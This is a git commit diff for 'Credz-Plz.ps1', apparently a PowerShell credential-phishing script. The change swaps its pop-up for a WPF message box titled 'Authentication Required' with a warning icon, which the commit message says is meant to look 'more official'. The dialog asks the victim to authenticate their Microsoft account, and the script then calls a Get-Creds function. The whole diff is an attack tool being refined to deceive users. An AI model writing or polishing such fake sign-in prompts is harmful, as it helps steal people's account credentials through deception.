Updated Credz-Plz.ps1
- Updated the script to show a "more official" looking initial popup.
This commit is contained in:
parent
b49e1f3cfb
commit
5b3bcb256a
1 changed files with 7 additions and 3 deletions
|
@ -118,9 +118,13 @@ Pause-Script
|
|||
|
||||
Caps-Off
|
||||
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
[System.Windows.Forms.MessageBox]::Show("Unusual sign-in. Please authenticate your Microsoft Account")
|
||||
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||
$msgBody = "Please authenticate your Microsoft Account."
|
||||
$msgTitle = "Authentication Required"
|
||||
$msgButton = 'Ok'
|
||||
$msgImage = 'Warning'
|
||||
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
|
||||
Write-Host "The user clicked: $Result"
|
||||
|
||||
$creds = Get-Creds
|
||||
|
||||
|
|
Loading…
Reference in a new issue